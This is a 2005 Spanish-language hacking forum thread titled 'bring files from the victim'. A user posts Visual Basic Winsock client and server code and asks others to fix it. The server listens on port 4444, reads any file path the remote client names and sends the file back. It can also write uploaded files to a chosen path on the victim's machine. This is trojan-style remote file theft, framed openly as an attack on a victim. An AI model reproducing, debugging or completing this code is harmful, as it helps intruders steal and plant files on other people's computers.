| 
	
		|  Autor | Tema: Traer archivos de la victima  (Leído 2,545 veces) |  
	| 
			| 
					
						| kakinets 
								 
								
								 Desconectado 
								Mensajes: 414
								
								 
								[>Argentina<]
								
								
								
								
								
								   | 
 
Hola...Ya se q se habló mucho de esto en el foro pero siempre q busco encuentro el mismo código....No me anda y no le puedo encontrar el error si alguien tiene un code q funcione para traer archivos de la victima mediante winsock le agradecería....
 
 gracias
 
 
 |  
						| 
								|  |  
								| « Última modificación: 18 Septiembre 2005, 00:23 am por .PoluX. » |  En línea | 
 
 |  |  |  | 
			| 
					
						| Kizar 
								       
								
								 Desconectado 
								Mensajes: 1.325
								
								 
								kizar_net
								
								
								
								
								
								   | 
 
Busca transferencia de archivos con winsock hay un post mio por ahi, lo unico que tiene que acr es mandar la ruta del archivo a descargar y abrir un archivo en tu equipo con su nombre y extension y que empieze a enviarlo.Salu2
 
 
 |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| kakinets 
								 
								
								 Desconectado 
								Mensajes: 414
								
								 
								[>Argentina<]
								
								
								
								
								
								   | 
 
no lo encuentro al post pensaran q soy un inutil... |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| NYlOn 
								 
								
								 Desconectado 
								Mensajes: 842
								
								 
								OOOOHHHHHH, TARAGÜIIII       xDDDDDD
								
								
								
								
								
								     | 
 
Click en    y pone Enviar archivos via WinSock salu2 |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  |  |  | 
			| 
					
						| kakinets 
								 
								
								 Desconectado 
								Mensajes: 414
								
								 
								[>Argentina<]
								
								
								
								
								
								   | 
 
Yo uso ese code pero no me trae los archivos si alguien me da una manito.... ---------------------------CLIENTE-----------------------------------
 
 
 Código:
 Dim filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean
 Dim ext As String, path As String, nombre As String
 
 Private Sub Command1_Click()
 ws.RemotePort = "4444"
 ws.RemoteHost = "127.0.0.1"
 ws.Close
 ws.Connect
 End Sub
 
 Private Sub Command2_Click()
 cd.Filter = "Todos los archivos |*.*"
 cd.ShowOpen
 Open cd.FileName For Binary As #1
 filedata = Input(LOF(1), 1)
 Close #1
 nombre = cd.FileTitle
 path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)
 path = path & nombre
 filesize = Len(filedata)
 ws.SendData "archivo" & "|" & filesize & "|" & path
 End Sub
 
 Private Sub Command3_Click()
 Dim ruta As String
 ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta)
 ws.SendData "coger" & ruta
 ext = Right(ruta, Len(ruta) - 4)
 End Sub
 
 Private Sub Form_Load()
 send = False
 progreso = False
 End Sub
 
 Private Sub Timer1_Timer()
 If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado"
 End Sub
 
 Private Sub ws_DataArrival(ByVal bytesTotal As Long)
 On Error Resume Next
 Dim datos As String
 ws.GetData datos
 If datos = "enviar" Then
 progreso = True
 ws.SendData filedata
 End If
 If datos = "recibido" Then
 'ws.SendData "cierra"
 End If
 If Left(datos, 7) = "archivo" Then
 send = True
 filesize = Mid(datos, 8)
 ws.SendData "enviar"
 datos2 = ""
 Else
 If Len(datos2) <> filesize And send = True Then
 datos2 = datos2 + datos
 pb.Min = 0
 pb.Max = filesize
 pb.Value = Len(datos2)
 pb.Refresh
 End If
 If Len(datos2) = filesize And send = True Then
 ws.SendData "recibido"
 pb.Value = 0
 cd.Filter = "Archivos " & ext & "| *" & ext
 cd.FileName = ""
 cd.ShowSave
 Open cd.FileName For Binary As #1
 Put #1, 1, datos2
 Close #1
 End If
 End If
 End Sub
 
 Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
 If progreso = True Then
 pb.Min = 0
 pb.Max = filesize
 bytes = bytes + bytesSent
 pb.Value = bytes
 pb.Refresh
 If filesize = bytes Then
 pb.Value = 0
 MsgBox "Archivo enviado con exito"
 progreso = False
 End If
 End If
 End Sub
 
 
 ---------------------SERVIDOR----------------------------
 
 
 Código:
 Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String
 
 Private Sub Form_Load()
 send = False
 ws.LocalPort = "4444"
 ws.Close
 ws.Listen
 End Sub
 
 Private Sub Timer1_Timer()
 If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado"
 End Sub
 
 Private Sub ws_ConnectionRequest(ByVal requestID As Long)
 ws.Close
 ws.Accept requestID
 End Sub
 
 Private Sub ws_DataArrival(ByVal bytesTotal As Long)
 On Error Resume Next
 Dim datos As String, dato As Variant
 ws.GetData datos
 If datos = "enviar" Then
 ws.SendData filedata
 End If
 If datos = "recibido" Then
 'ws.SendData "cierra"
 End If
 If Left(datos, 7) = "archivo" Then
 send = True
 dato = Split(datos, "|")
 filesize = dato(1)
 path = dato(2)
 ws.SendData "enviar"
 datos2 = ""
 Else
 If Len(datos2) <> filesize And send = True Then
 datos2 = datos2 + datos
 End If
 If Len(datos2) = filesize And send = True Then
 ws.SendData "recibido"
 Open path For Binary As #1
 Put #1, 1, datos2
 Close #1
 End If
 End If
 If Left(datos, 5) = "coger" Then
 datos = Mid(datos, 6)
 Open datos For Binary As #1
 filedata = Input(LOF(1), 1)
 Close #1
 filesize = Len(filedata)
 ws.SendData "archivo" & filesize
 End If
 End Sub
 |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  |  |  | 
			| 
					
						| kakinets 
								 
								
								 Desconectado 
								Mensajes: 414
								
								 
								[>Argentina<]
								
								
								
								
								
								   | 
 
aqui creo no puedes guardar el archivos... Private Sub Command3_Click()Dim ruta As String
 ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta)
 ws.SendData "coger" & ruta
 ext = Right(ruta, Len(ruta) - 4)
 End Sub
 
 |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  |  |  
 
	
 
   |